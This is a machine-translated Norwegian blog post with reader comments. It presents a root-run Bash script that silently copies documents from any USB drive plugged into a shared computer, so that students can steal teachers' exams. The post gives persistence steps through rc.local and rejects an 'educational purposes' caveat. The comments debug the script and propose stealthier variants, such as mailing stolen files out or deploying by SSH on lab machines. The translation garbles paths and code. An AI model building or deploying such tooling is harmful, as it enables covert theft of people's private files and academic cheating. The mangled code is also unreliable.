Skript for å spionere på innholdet på USB-enheter og kopiere det til PCen

Jeg var alltid en rastløs student, som alltid ønsket å utnytte muligheter som ... for eksempel å kopiere semestereksamen fra lærerens USB-pinne eller noe sånt. Da jeg gikk på videregående skole (datamaskinfag) ønsket jeg å programmere "noe" som ville gjøre følgende:

  1. Oppdag når en USB-enhet er koblet til klasseromsdatamaskinen
  2. Kopier alt innholdet fra den enheten til datamaskinen din

Dette ville tillate meg å ha eksamen mye tidligere, det ville bare være nødvendig for læreren å koble USB-minnet sitt (pendrive) til datamaskinen, og det er det.

Dessverre hadde datamaskinene Windows på mitt institutt og ... Jeg lærte aldri og aldri å programmere for dette operativsystemet.

Men nå bruker jeg Linux (tydeligvis ikke? LOL!), Og med den kunnskapen at jeg gjennom disse årene har vært i stand til å tilegne meg, nå JA! Jeg kan allerede oppnå dette med Linux 😀

Det vil si at jeg har programmert et enkelt skript som gjør følgende:

1. Opprett mappen /home/.USBDRIVES/
2. Det sjekkes hvert 5. sekund om det er noen USB-enhet (eller CD / DVD) koblet til datamaskinen.
3. Hvis en er koblet til, vil den opprette en mappe inne i /home/.USBDRIVES/ med navnet på USB (for eksempel: minne-2 GB) og også vil den kopiere alle filene .doc, .pdf, etc (her listen) til denne mappen du nettopp opprettet.
4. I tilfelle det ikke er noen USB-tilkoblet, vil den ganske enkelt vente i 5 sekunder for å starte kontrollen som jeg forklarte ovenfor igjen 😀

Her er skriptet og filen som inneholder formatene som skal kopieres:

Last ned USB-Spy.zip
Skriptet må kjøres som root, slik at operasjonen ikke er begrenset. Her forklarer jeg hvordan du kan oppnå dette

For at skriptet kan fungere uten problemer, er det best at det startes med administrative rettigheter (root), da det er åpenbart at det må startes sammen med datamaskinen, på denne måten sørger vi for at hvis datamaskinen er startet på nytt eller av, når jeg starter skriptet igjen, vil det være der og klar til å trekke ut hva vi vil fra hvilken som helst USB 😉

La oss åpne en terminal ... en gang åpen ...

1. Anta at vi har begge filene i / opt / (/opt/usb-spy.sh y /opt/usb-spy.files), må vi gi det kjøringsrettigheter:

sudo chmod +x /opt/usb-spy.sh

2. Vi åpner filen /etc/rc.local :

sudo nano /etc/rc.local

3. I den skriver vi over sluttlinjen (avkjørsel 0) den neste:

/opt/usb-spy.sh &

4. Nå trykker vi på [Ctrl] + [X] for å lagre og avslutte filen, vi trykker på [S] eller [Y] (avhengig av systemspråket) og deretter [Enter]. Dette vil være nok til at endringene vi gjorde for å bli lagret.

Og voila, dette vil være nok til at skriptet begynner som rot når vi slår på datamaskinen.

Det er viktig å bekrefte at filen usb-spy.filer er i samme katalog som usb-spy.sh ????

Nå ... Jeg skal forklare litt om det indre arbeidet med manuset, da jeg vet det er mange Bash-elskere her

Q: Hvordan vet manuset at en USB-enhet er koblet til?
Svar: I / etc / mtab-filen til systemet vårt er enhetene eller partisjonene som er montert på systemet vårt. Gjennom linje 23 i skriptet er det kjent om det er en USB-tilkoblet eller ikke (lage katt til mtab og grep media)
Spørsmål: Ja, men Hvordan vet skriptet om katten og grep returnerer data til oss eller ikke?
A: Gjennom en hvis, ellers løkke som starter på linje 24.
Q: Hvordan får jeg det til å kopiere bare filer med ønskede utvidelser? (.doc, .pdf, etc)
Svar: Ved å bruke rsync med forskjellige parametere, er dette på linje 34. Enkelt forklart, med rsync kopierer jeg bare filene som samsvarer med usb-spy.files-filteret, hver linje er et filter for å si det sånn. Jeg sender også parameteren --prune-empty-dirs å rsync slik at det ikke lager tomme kataloger for meg.
Forresten noe viktig. Hvis en 8 GB USB-enhet (for eksempel) er koblet til, fungerer alt riktig, men jeg la merke til at hvis en enhet med mye mer kapasitet er koblet til, for eksempel 500 GB eller 1 TB, er prosessen med å lete etter .doc-filer og etc. for å kopiere dem til datamaskinen tok lang tid, så jeg satte en GB-grense. I linje 31 erklærer jeg at hvis USB-enheten er mindre enn 16 GB, så se etter filene og kopier dem, men hvis den er større enn 16 GB, så gjør ingenting. Hvis du vil øke den 16 GB med 32 GB, er det bare å øke antallet fra linje 31

Det er ikke mye å forklare faktisk, manuset er veldig enkelt å forstå :)

Hvis noen har noen tvil, spørsmål, klage, idé eller forslag, kan du si det, og jeg lover å hjelpe dem så mye jeg kan.

Vel, jeg tenkte å sette noe sånt som: «dette skriptet er kun ment for pedagogiske formål, ikke brukes med skadelige filer»... Men ... hva i helvete! Bruk det til hva du vil, det er på tide at elevene har en slags fordel mot lærerne som undertrykker oss 😀

Hilsen

Du kan fremdeles gjøre flere forbedringer i manuset, men vel, dette er en god start, tror jeg, hvis noen føler seg motivert til å bidra til denne "edle" saken, vil det være en glede 😀

93 kommentarer, legg igjen dine

Legg igjen kommentaren

Din e-postadresse vil ikke bli publisert. Obligatoriske felt er merket med *

*

*

  1. Ansvarlig for dataene: Miguel Ángel Gatón
  2. Formålet med dataene: Kontroller SPAM, kommentaradministrasjon.
  3. Legitimering: Ditt samtykke
  4. Kommunikasjon av dataene: Dataene vil ikke bli kommunisert til tredjeparter bortsett fra ved juridisk forpliktelse.
  5. Datalagring: Database vert for Occentus Networks (EU)
  6. Rettigheter: Når som helst kan du begrense, gjenopprette og slette informasjonen din.

  1.   livlig sa

    Juksemaker ¬¬

    XDDDD

    1.    KZKG ^ Gaara sa

      Nei ikke i det hele tatt ... hvis du sikkert tenkte på et eller annet tidspunkt å gjøre noe sånt ... HAHAHA.

      1.    Ivan Molina sa

        Du reddet meg fra en popquiz 😀… Nå er din «KZKG ^ Gaara» Du er min gud ... Ros deg!

    2.    facundo sa

      Hei, veldig bra skript, men i mega eksisterer ikke filen lenger, du kan sende den til e-posten min, vær så snill

  2.   Oscar sa

    Linux er 1%, og du sier at du aldri har lært å programmere for windows, så veiledningen er for et linux-system, spørsmålet mitt er: hva er muligheten for å finne en lærer som bruker linux til å utføre veiledningen?

    1.    KZKG ^ Gaara sa

      Dette skriptet eller trikset er "implementert" i en datamaskin som ikke nødvendigvis må være den personlige eller professorens egen, det er nok at det er hvilken som helst datamaskin fra et universitet eller høyskole, da ville det bare være mulig å oppnå med X eller Y grunn til at professoren kobler USB-en din til den datamaskinen.

      Ja, det er for Linux, men mange universiteter har Linux som et system i datalaboratorier, samt å starte med en LiveCD og ikke nødvendigvis installere Linux på PCen 🙂

      Om 1% anbefaler jeg at du leser dette innlegget: https://blog.desdelinux.net/debunking-the-1-percent-myth-traducido-al-espanol/

    2.    Hyuuga_Neji sa

      Muligheten for at en gigantisk meteoritt faller på Atlanterhavet på omtrent 30 minutter

  3.   Josh sa

    Det ser interessant ut, det må prøves.
    Takk

    1.    KZKG ^ Gaara sa

      Verktøyet det har er ikke en god ting, men skriptet som det er interessant ... fordi du kan lære flere tips fra det, for eksempel hvordan du skal kjenne til de tilkoblede USB-ene, størrelsen på partisjonene osv.

  4.   cr0t0 sa

    En original og veldig godt forklart artikkel KZKG ^ Gaara. Jubel!

    1.    KZKG ^ Gaara sa

      Takk

  5.   oscar sa

    Hvilken dristighet !!!, og du tør å skrive det i bloggen OO, jeg vet ikke hva jeg skal tenke, kan det være at noen hacket Gaara som ikke liker ham godt?

    1.    KZKG ^ Gaara sa

      frekkhet? Hvorfor?
      Selv om formålet eller motivet med manuset kanskje ikke er så alvorlig som resten av mine bidrag, har manuset, dets linjer og programmeringslogikk mye å bidra med, tror jeg.

      Du kan dra nytte av flere ting fra dette skriptet:
      1. Hvordan vite størrelsen på en partisjon og at dette er en variabel.
      2. Hvordan sjekke om det er en USB-tilkoblet og trekke ut stien og navnet.
      3. hvis-så-annet og mens løkker.

      Uansett, jeg tror ikke dette er helt ubrukelig eller noe.

      1.    oscar sa

        Jeg tror du feiltolker kommentaren min, jeg mener i begynnelsen av artikkelen din,
        "Jeg var alltid en rastløs student, som alltid ønsket å utnytte muligheter som ... for eksempel å kopiere semestereksamen fra lærerens USB-pinne eller noe sånt." Hvis det jeg sier plager deg, håper jeg du vil unnskylde meg, det var ikke min intensjon.

        1.    Blaire pascal sa

          oO for en utmerket blogg, gode artikler, gode lesere, brukere beklager ... det er paradis lol uten troll.

          1.    KZKG ^ Gaara sa

            Takk ^ - ^
            Vi er stolte av det vi har oppnådd så langt, dette samfunnet er virkelig stolt ... det er flott å være en del av alt dette 😀

        2.    KZKG ^ Gaara sa

          Nei nei ikke i det hele tatt, jeg brydde meg egentlig ikke i det hele tatt xD
          Og ja hehe det var min feil å feiltolke kommentaren din hehehe, beklager det 😉

          Ingenting som unnskyldningene kommer fra meg nå, jeg må vaske ansiktet for å se om jeg er ferdig med å våkne det ... fra det jeg ser, er jeg fortsatt ikke 100% HAHAHA.

          Hilsen venn 🙂

        3.    oscar sa

          Veldig fin person xD

  6.   neomyth sa

    Jeg vil at college-datamaskinene mine skal ha Linux muhahahjaja.

  7.   GGGG1234 sa

    God artikkel!
    Men den som vil imitere det i Windows, blir lettere, for der du ikke har rottilgang på maskinen du vil bruke den, kan du ikke la den "for alltid". Med Windows skjer det ikke 😉

  8.   Blaire pascal sa

    Veldig bra hehe.

  9.   Hyuuga_Neji sa

    Ideen er god, den har bare svakheten ved å måtte bruke rotprivilegier

    1.    KZKG ^ Gaara sa

      Vel, egentlig trenger du ikke å være rot som sådan ... hvis du erklærer overfor skriptet at mappen IKKE vil være /home/.USBDRIVES slik jeg sa det, og det står for eksempel: /home/usuario/.USBDRIVES ... og deretter utføre skript med "bruker" vil være tilstrekkelig 😀

  10.   Emilio sa

    Det er en god ide, men jeg tror du vil spare deg for å endre rc.local og kjøre den hvert minutt gjennom crontab, og dermed unngår du problemet med å kjøre den som root og resten, derimot, selv om den ikke gjør det påvirker mye, bruker du minnet på PCen ubrukelig hvert 5. sekund for å sjekke om USB er, selv når det ikke er det. Vel, det er mitt synspunkt

    1.    KZKG ^ Gaara sa

      Jeg mener, gjør en sjekk hvert 1. minutt, ikke sant? Jeg gjorde det ikke slik fordi ... hva om en USB kobles til og fra på mindre enn 1 minutt? 😀

      Jeg foretrakk å gjøre det hvert 5. sekund for å sørge for å virkelig "fange" alle USB-er 😉

      Hvis jeg misforsto deg, kan du rette meg opp 🙂

      Hilsen og velkommen.

      1.    Emilio sa

        Ja, sjekk hvert minutt gjennom cron, men alle har en annen måte å se problemet på, bare å se på koden, det ville ikke være bedre å sjekke om mappen /home/.USBDRIVES allerede eksisterer før du oppretter den, er et forslag ingenting mer

        Hilsen

        1.    KZKG ^ Gaara sa

          Ja også, det er en detalj jeg la merke til, men ... jeg var lat med å løse det LOL!

          På samme måte kan jeg legge en logg der filene som er kopiert vises (individuell logg for hver enhet), kanskje til og med sende denne loggen via e-post (ved hjelp av en metode for å sende e-post med terminal av de jeg har lagt her på siden ) ... men som jeg sa deg, det gjør meg litt lat ^ - ^ U

  11.   pavloco sa

    Hahaha flott.

  12.   hexborg sa

    AHA! Så programvaren din kan brukes til ondskap. LOL !!! 🙂

    Trikset er greit, men ... hva om du vil demontere USB før skriptet er ferdig med å kopiere innholdet? I så fall vil den klage over at den er i bruk, og det vil bli lagt merke til at det er noe galt. 🙂

    1.    KZKG ^ Gaara sa

      Egentlig vil ikke systemet demontere USB fordi "noe" vil bruke den 😉

      1.    hexborg sa

        Nøyaktig! Og det er da Oscar-professoren tror han har funnet et linux-virus. LOL !! 🙂

  13.   oscar sa

    Du fikk meg til å huske en gang at jeg gjorde noe lignende (på Uni hvis vi hadde linux / windows), men jeg laget et C-program som genererte tusenvis av mapper. Jeg polstret USB-en til en fyr som koblet den til. Datasenterlederen var forbauset! Han trodde han fant et virus i linuxx muajajajaja ... ahhh .. hvilke tider var de =)

    1.    miguel sa

      og hva er forskjellen med et virus?

      1.    oscar sa

        At jeg eksternt kom inn i USB-en hans og kjørte programmet 😛

        1.    miguel sa

          hahahaha, så det var et hack XD

    2.    KZKG ^ Gaara sa

      ????
      hehehehehe så du fant et virus i Linux, ikke sant? ... LOL !!

  14.   semproms sa

    Det fungerer bare ikke for meg xD, hvis jeg prøver å kjøre den fra terminalen, forteller den meg dette: ./usb-spy.sh: linje 31: [: -lt: unary operatør forventet
    Det ser ut til å være noe galt med denne linjen: hvis [$ USBSIZE -lt 15664800]; deretter
    Men jeg vet ikke hva det er, fordi det ikke oppretter .USB-katalogen også.

    Hvis det kan løses, kan jeg finne et nyttig skript.

    1.    hexborg sa

      Prøv å erstatte df med / bin / df og sørg for å starte den som root.

      1.    semproms sa

        Ok, nå hvis den oppretter .USB-mappen inne i hjemmekatalogen, men den fortsetter å fortelle meg gjennom terminalen at: "./usb-spy.sh: linje 31: [: -lt: unary operatør forventet" og den gjør ikke ' t kopiere ingenting, i den linjen må det være noen konflikt, jeg setter pris på hjelpen hvis noen ser det.
        Tusen takk.

        1.    hexborg sa

          Kan du gi oss innholdet i / etc / mtab filen når USB er montert?

          1.    semproms sa

            Jada, her går det:

            / dev / sda12 / ext4 rw, feil = remount-ro 0 0
            proc / proc proc rw, noexec, nosuid, nodev 0 0
            sysfs / sys sysfs rw, noexec, nosuid, nodev 0 0
            ingen / sys / fs / sikring / tilkoblinger fusectl rw 0 0
            none / sys / kernel / debugfs debugfs rw 0 0
            none / sys / kernel / security securityfs rw 0 0
            udev / dev devtmpfs rw, modus = 0755 0 0
            devpts / dev / pts devpts rw, noexec, nosuid, gid = 5, mode = 0620 0 0
            tmpfs / kjør tmpfs rw, noexec, nosuid, størrelse = 10%, modus = 0755 0 0
            none / run / lock tmpfs rw, noexec, nosuid, nodev, size = 5242880 0 0
            none / run / shm tmpfs rw, nosuid, nodev 0 0
            binfmt_misc / proc / sys / fs / binfmt_misc binfmt_misc rw, noexec, nosuid, nodev 0 0
            / dev / sdb1 / media / DOCU403 vfat rw, nosuid, nodev, uid = 1000, gid = 1000, kortnavn = m $

            De siste linjene er de som er montert på USB / dev / sdb1

          2.    hexborg sa

            La oss se om vi har fått det. 🙂

            Gi oss utdataene fra df-kommandoen. Og prøv å legge til linjen:

            ekko $ USBSIZE

            Rett foran hvis det gir problemet, og fortell oss hva som kommer ut når du starter skriptet. Det skal se slik ut:

            USBSIZE = `/ bin / df | grep $ USBDEV | awk {'print $ 2'} `
            ekko $ USBSIZE
            hvis [$ USBSIZE -lt 15664800]; deretter

            Og bare i tilfelle, fortell oss også hva resultatet av hvilken df-kommando er.

            1.    semproms sa

              Ok, i deler, returnerer df-kommandoen dette til meg:

              Filsystem 1K-blokker Brukes tilgjengelig Bruk% montert på
              / dev / sda12 54082300 45246956 6125892 89% /
              udev 2004028 4 2004024 1% / dev
              tmpfs 805768 1180 804588 1% / kjøring
              ingen 5120 0 5120 0% / løp / lås
              ingen 2014420 92 2014328 1 XNUMX XNUMX% / run / shm
              / dev / sdb1 1023200 322256 700944 32% / media / DOCU 3

              Kommandoen som df returnerer meg: / bin / df

              Så har jeg satt ekkoet $ USBSIZE, og resultatet er det samme, det skriver ikke ut noe nytt, men feilen fra før, det morsomme er at dette skjer med USB-en som jeg tester, hvis jeg legger 500 GB ekstern harddisk Ja, den returnerer størrelsen på disken på skjermen, men 500 overskrider 16 av i så fall med harddisken, gjør den ingenting.

              Men med USB gjør den ingenting annet enn å vise feilen: ./usb-spy.sh: linje 34: [: -lt: unary operatør forventet
              Det er som om det ikke kunne vise størrelsen på USB, men med kommandoen df får jeg størrelsen.

              Takk for hjelpen, la oss se om vi kan få det!


            2.    semproms sa

              Bare hvis kommandoen ikke så bra ut her, legger jeg fra et skjermbilde: http://i48.tinypic.com/j5dvn5.jpg


          3.    hexborg sa

            Jeg ser at stien der den ser ut montert er i / mtab «/ media / DOCU403» mens den i df vises «/ media / DOCU 3». Dette gjør at grep ikke finner den og ikke returnerer størrelsen. Prøv å endre de første linjene i for slik at de ser slik ut:

            for USBD i `cat / etc / mtab | grep media | awk '{print $ 1}' '';
            do
            USBDEV = `cat / etc / mtab | grep $ USBD | awk '{print $ 2}' ''
            USBSIZE = `/ bin / df | grep $ USBD | awk {'print $ 2'} `

            Endringene består i å endre navnet på for variabelen til USBD, endre $ 2 på slutten av for linjen til $ 1, sette inn linjen som begynner med USBDEV like etter do og endre USBDEV til USBD i linjen som begynner med USBSIZE ... Jeg håper jeg ikke rotet meg. 🙂

            Ideen er å gjøre for etter navnet på enheten i stedet for ved festepunktet.

            1.    KZKG ^ Gaara sa

              Problemet var at i mtab når en enhet har mellomrom ... setter den noen "rare" tegn på linjen, spesielt i stedet for rommet.

              Ingenting, så enkelt å løse som å endre måten $ USBDEV er utpekt på, endrer det på linje 28 og sier det slik:
              for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

              ????


          4.    Atheyus sa

            La meg se om jeg kan hjelpe deg ...

            Den unary operatøren viser den fordi den ikke finner størrelsen på disken, dette skjer fordi den ikke sjekker den, dette skjer fordi den heter

            Dokument 3

            og det tar det som to verdier, hvis det var DOCU, ville det ikke åpne et problem

            Kanskje dette vil fungere for deg

            http://www.itimetux.com/2012/11/manejar-archivos-o-carpetas-con-espacios-en-unix.html

            Hilsen 🙂

            1.    semproms sa

              Det er faktisk problemet, for jeg har nettopp prøvd med andre USB-er som har et navn med et ord uten mellomrom, eksempel "klasser" og skriptet fungerer uten problemer, det var derfor det kjente igjen harddisken og ikke minnene, men nå er saken For å vite hvordan jeg legger anførselstegnene i skriptkoden, må jeg sette dem til "$ USBNAME"?

              Tusen takk til Atheyus og Hexborg for hjelpen, det er nesten ferdig.


          5.    KZKG ^ Gaara sa

            faktisk semproms det er superenkelt å fikse 😉
            Linje 28 ... endre det til dette:
            for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

            Jeg testet nettopp med denne endringen, og det fungerer bra med enheter hvis etikett / navn har mellomrom :)

            Nå vil jeg gjøre endringen i skriptet for å laste ned.

          6.    hexborg sa

            Veldig bra. Så det er enkelt å fikse. 🙂

  15.   auroszx sa

    Ohhh, veldig genial 😀 Jeg tar det i tilfelle jeg trenger ...

  16.   semproms sa

    KZKG ^ Gaara, med det arrangementet fungerer det perfekt, nå hvis jeg kopierer USB med plass i navnet, tusen takk alle sammen for hjelpen, jeg vil prøve å se om jeg kan få den til å kjøre med systemstart og på den måten Kontroller hver syklus om det er USB-tilkoblet.

    Til slutt har vi oppnådd det xD.

    1.    KZKG ^ Gaara sa

      ^ - ^ ... fin hehe.
      Problemet var at jeg brukte mtab for å gjenkjenne USB, jeg kunne bare ha brukt df ... Jeg brukte mtab fordi jeg trodde det ville være interessant å forklare denne filen for dem, at de vet det, men jeg forutså ikke at dette feil vil skje med enheter med mellomrom lol.

      Eventuelle spørsmål eller problemer du legger igjen, nesten alle her liker å hjelpe xD

      Hilsen

    2.    hexborg sa

      Selvfølgelig. Vi er Linux-brukere. Vi får det alltid. XD.

  17.   Jeretisk sa

    Installer en demon på lærerens PC som vil generere en oversikt over alle .doc-, .docx-, .odt-, .pdf-filene og sende dem til deg per post. I tillegg til å skanne PCen fra tid til annen på jakt etter endringer, nye filer eller slettinger i nevnte register, og alle nyheter vil også sende deg den endrede eller nye filen via post.

  18.   Jeretisk sa

    Uansett, jeg tror at mer enn en fangst, å utføre skriptet (OG SÅ ROTT !!!!) er et selvmord. Du gjør livet og ting 700% enklere for alle som er interessert i å sette inn en fil på PC-en din med rottillatelser og alt. Husk at utvidelser ikke eksisterer i Linux, og at en .doc i Linux kan være det samme som en tekst, en video eller verre, et skript (denne gangen med veldig dårlige intensjoner).

    1.    KZKG ^ Gaara sa

      Å kjøre det som rot er ikke helt nødvendig, bare definer mappen der innholdet skal plasseres et sted som den bruker som kjører har skrivetillatelser (for eksempel sitt eget hjem) og det er det 🙂

      På farlige filer ... vel, du kan legge til noen linjer som ville chmod -x til alle filer, og dermed miste kjøreegenskapen.

      1.    semproms sa

        Jeg har lagt til disse linjene i begynnelsen for å slette .USBDRIVES-mappen hvis den allerede var opprettet:

        hvis [-s $ PLACE]
        deretter rm -r $ PLACE
        fi

        På denne måten vil det ikke gi feilen "katalogen som allerede eksisterer", det vil si hvis du må være forsiktig med at det ikke er noe i .USBDRIVES-mappen vi ikke vil bli slettet, fordi den vil slette den og sette en annen på plass.

  19.   Daniel sa

    For å legge til nye filformater, er det bare å skrive dem til usb-spy? for eksempel .jpg .mp3 etc.

    1.    KZKG ^ Gaara sa

      For å legge til nye filtyper legger du den i usb-spy.files
      Se på innholdet i filen og du vil se hvordan du legger dem til, det er ganske enkelt 😉

  20.   Wuilmer bolivar sa

    Hvis vi er på samme nettverk, og det er en lærermaskin, ville det interessante være å lage en nettverkskartlegging, vi kan ha ssh på maskinene og på den måten distribuere koden på laboratoriemaskiner eller til og med på lærermaskinen .... Dette gir meg så mange ideer: $

  21.   xyler sa

    Hei, jeg gratulerer deg for innlegget og alle bidragene dine, men jeg har et spørsmål for å se om noen kan løse dette problemet for meg:

    Jeg testet skriptet ditt på en pc med ubuntu 12.04LTS (med Unity) og det fungerte perfekt, men da jeg så at dette skriptet sluttet å kjøres etter første gang det ble kjørt, fordi .USBDRIVES-mappen allerede var opprettet, bestemte jeg meg for bruk direkte dette andre skriptet av forfatterskapet ditt som ble lagt ut i en annen del av dette forumet

    her kopierer jeg skriptet slik at du kan finne deg selv

    #! / Bin / bash
    #
    # - * - KODING: UTF-8 - * -
    # Dette programmet er gratis programvare. Du kan omfordele den og / eller
    # endre det under vilkårene i General Public License
    GNU # som publisert av Free Software Foundation,
    # enten versjon 2 av nevnte lisens eller (avhengig av din
    # valg) av en hvilken som helst senere versjon.
    #
    # Hvis du gjør noen endringer i dette programmet,
    # bør alltid nevne den opprinnelige forfatteren av det samme.
    #
    # Copyleft 2012, DesdeLinux.net {Ciudad Habana, Cuba}.
    # Forfatter: KZKG ^ Gaara

    HELT = 0

    mens [$ CONTROL = 0]; gjøre
    katt / etc / mtab | grep media >> / dev / null
    hvis [$? -ne 0]; deretter
    TELLER = 0
    ellers
    TELLER = 1
    : $ {USBDEV: = `cat / etc / mtab | grep media | awk '{print $ 2}' `` »/»}
    cp $ USBDEV / * / hjem /
    fi
    sove 5
    gjort

    avkjørsel 0

    Temaet er følgende i ubuntu12.04 lts enhet det siste skriptet går bra og fungerer, men når jeg nedgraderer den samme pc av "x" grunn, og prøver å få det til å fungere i ubuntu 10.10 nei, kan jeg få det til å fungere
    På den ene siden kaster den en feil, og den leser ikke pennestasjonene som har et sammensatt navn, for eksempel: DATA-G, og det kopierer heller ikke filene som har et sammensatt navn. Bortsett fra dette problemet har jeg problemet at skriptet bare kjøres når PCen startes på nytt en gang.

    Spørsmålet ville være: hvordan kan jeg få skriptet til å kopiere meg pendrives og filer med sammensatte navn
    og hvis jeg bruker crontab eller jeg kan planlegge at den skal fungere på et bestemt tidspunkt

    En annen detalj, i Ubuntu 10.10, da den bruker Gnome, vil jeg legge til noen begrensninger å ta i betraktning. Når du gir kjøringsrettigheter til et skript, må det være plassert i /etc/init.d ikke i / etc /
    (Ta hensyn til at du må lime den inn der du kommer fra terminalen med sudo nautilus)

    På den annen side vil en annen dimensjon være at etter å ha limt den inn der for å se om den kan utføres, må den gjøres i en annen terminal

    sudo su (å være rot)
    passord

    ls

    cd / etc / init.d

    ls-l

    og der hopper vi om den kjører eller ikke

    deretter i samme terminal eller i en annen terminal på et annet tidspunkt som root og å være i etc / init.d (det vil si til trinn cd / etc / init.d) som i forrige terminal fortsetter vi som følger for å gi det tillatelser henrettelse

    sudo chmod + x script.sh

    oppdater -rc.d script.sh er standard 80

    omstart

    Jeg gjentar at det er slik at det kjøres automatisk i Ubuntu 10.10 hvis det er en annen versjon som 12.04, må du gjøre hva KZKG ^ Gaara sier

    Og et siste spørsmål, hvordan vil jeg kopiere innholdet (opptil 3 undermapper i pendrive) til hjemmet eller til en skjult hjemmemappe eller ikke, antar at det var .USDRIVES
    i koden trenger jeg ikke si

    cp -r /media/*/*/*/home/.USBDRIVES/*

    Kort sagt, for å få det jeg vil, hvordan skal manuset forbli?
    Fordi jeg allerede har prøvd å endre linjen som de modifiserte til usb-spion sh, men til den andre som registrerer direkte hjemme og kaster en feil på den modifiserte linjen.? Hilsen. Takk skal du ha

  22.   Kakashi sa

    Jeg kan ikke laste ned det andre skriptet

  23.   metallus sa

    Veldig bra. 😉

  24.   kamaleon sa

    Og hvis jeg ikke gjør trinnene du legger inn, hva skjer? Kjører den ikke eller løper den bare, men uten rot? Hvis datamaskinene har et system som vi sier, gjenoppretter hele den interne konfigurasjonen på datamaskinen når de slås av, vil det fungere? Takk skal du ha.

    1.    KZKG ^ Gaara sa

      I tilfelle systemet har "noe" som er standard til / home / mappen, må du endre skriptet, der det står / home / endre det til / opt / eller en annen mappe som ikke er berørt.

  25.   Gambi sa

    Jeg tror at for å forbedre skriptet og unngå at innbruddet i pendrive blir lagt merke til, vil det optimale være å prioritere type, filstørrelse. La for eksempel la store filer på 100 megabyte eller mer vare på sist. Eller først kopier filene doc, docx, txt, pdf, xml, ... etc etc etc og la avi, mp4, mkv filer sist ...

  26.   Lucas sa

    Hei, ideen er god. Jeg ønsket å stille to spørsmål:
    - Kan det gjøres i omvendt retning? lage et skript for penderiver, som det kobles til hvilken som helst maskin og trekker ut filer.
    - fungerer for Windows OS?

    1.    KZKG ^ Gaara sa

      Hei,

      Jeg er ikke sikker på hvordan det kan gjøres at når du kobler til pendrive, utfører den samme pendrive et skript som den har inni.

      Og nei, dette skriptet fungerer ikke for Windows 🙂

      1.    LUCAS sa

        Ok, takk for at du svarte meg, jeg vil undersøke hvordan du gjør det

  27.   Jose Damian Bazaga Ruiz sa

    For et godt manus. Jeg har analysert det, og det virker utrolig bra for meg, forhåpentligvis kunne jeg også lage slike praktiske skript en dag.

  28.   jose sa

    Utmerket bidrag, selv om verktøyet jeg vil gi det ikke er akkurat det du hevet det til, hvis jeg bruker det til sikkerhetskopiering av filer av en gruppe brukere, feil oppførsel jeg har ... hehehehe….

  29.   ombud sa

    når jeg prøver å kjøre, gir det meg denne feillinjen 31: [: for mange argumenter
    fjern den linjen for å se om den fungerte. og det viser seg at det er linjen som begrenser størrelsen på enhetene.
    når du fjerner det, kopierer jeg det jeg har i de monterte partisjonene mine 🙁

  30.   Valentine sa

    Hei, jeg er ny og jeg vet at potten er gammel, men jeg likte den mye, manuset ditt er veldig lærerikt

    Takk for at du delte den og forklarte den i detalj ...

    hilsen

  31.   doltrox sa

    Venn, du reddet meg, jeg måtte bare distrahere læreren og sette usb inn i den bærbare datamaskinen min, og så bestod hahahaaj eksamen og notater fra alle hehehe

    1.    oetam222 sa

      Kan du gi meg skriptet, lenken er nede

    2.    oetam222 sa

      Du kan gi meg skriptet linken er nede

  32.   Worm2D2 sa

    kzkggaara, kan du laste opp filene på nytt? lenkene er nede: /, tusen takk

  33.   Bastian sa

    Kan du laste opp lenker?

  34.   necr0 sa

    hører! onkel! du har falt ros, du kan heve dem igjen!
    OK! : v

  35.   necr0 sa

    vel, jeg gjør dette igjen fordi jeg ikke vet om det jeg ønsket å si ble lastet opp ...

    vel det er at du har lenkene nede, du kan laste dem opp!

  36.   rlorau sa

    Linkene er nede !!!

  37.   Developer24 sa

    Send inn linkene på nytt @usemoslinux. Jeg undersøker emnet, takk!

  38.   anonym sa

    Manuset kan lastes ned herfra. Jeg tror det er det samme

    https://mega.nz/#!yQR1BQTb!FoYoopZ11WSstQaqX1flxhm1t4jCKOI9jj8VIxIBrxk

  39.   Juan sa

    Da så….

    Jeg tror fra mitt ydmyke synspunkt at det er en flott artikkel, og vel, hvis det er folk som sier at du er en juksemaker, så tror jeg at det er i henhold til formålet du bruker programmet til.
    Jeg personlig likte mer for å kjenne programmeringsspråket for linux siden jeg bare har jobbet i java, takk kompis du har vekket min interesse for å vite mer om språket for linux.

    Jeg takker deg.

  40.   Hecorat sa

    Hei venner, fordi jeg fant en annen måte å bruke dette skriptet på er å lage sikkerhetskopi, jeg vil snakke litt med meg. Jeg har to enheter, et kamera og en harddisk. Det jeg ønsker er at i stedet for å ta opp filene, lagrer de lokale filene dem i en ekstern harddisk fra kameraet til harddisken, men det gir meg en feil som sier "for mange argumenter" kan du hjelpe meg

  41.   LUIS GERARDO POLANCO VERA sa

    Det fungerer bare med enheter med Linux-operativsystemer?

  42.   Testing sa

    Noen hever det, vær så snill!

  43.   gasselene sa

    Hei, jeg har ikke linux og på skolen bruker de Windows, jeg brukte usb capture app og jeg kopierer bare 5 filer fra lærerens minne, jeg mistenker at usb har beskyttelse, fordi det samme skjedde to ganger, det vil være noen annen måte å trekke den fullstendige informasjonen fra den usb?

  44.   zaraki sa

    Gå hvis du sier at koden vil være enkel, fordi det virker veldig interessant å se metodene fungerer for å se om en USB er koblet til eller størrelsen på partisjonen. Synd at de har fjernet mega.nz-skriptet, kan du laste det opp igjen?

    Hilsen og flott arbeid, enkelt, men funksjonelt til og med å automatisere kopier fra USB !!!

  45.   Pauser sa

    Good!
    Jeg har nettopp skrevet inn blogginnlegget ditt, og jeg er veldig interessert. Det som skjer er at når du gir .zip-filen som omdirigerer deg til mega, betyr det at filen ikke lenger er tilgjengelig.
    Jeg lurte på om du kunne sende meg filene som skal lastes ned.
    Tusen takk og hilsen!

  46.   Alfredo Pereira sa

    Teknologi har en vane å krympe i størrelse etter hvert som årene går. Og det har skjedd i utrolig grad med solid state -stasjoner (SSD -er). Nå kan du få dem i samme størrelse som de raskeste USB -flash -stasjonene.

    https://clongeek.com/las-unidades-usb-3-0-mas-rapidas/

  47.   a sa

    Kan du sende meg filen eller laste den opp igjen? Det kommer ut som ikke kan lastes ned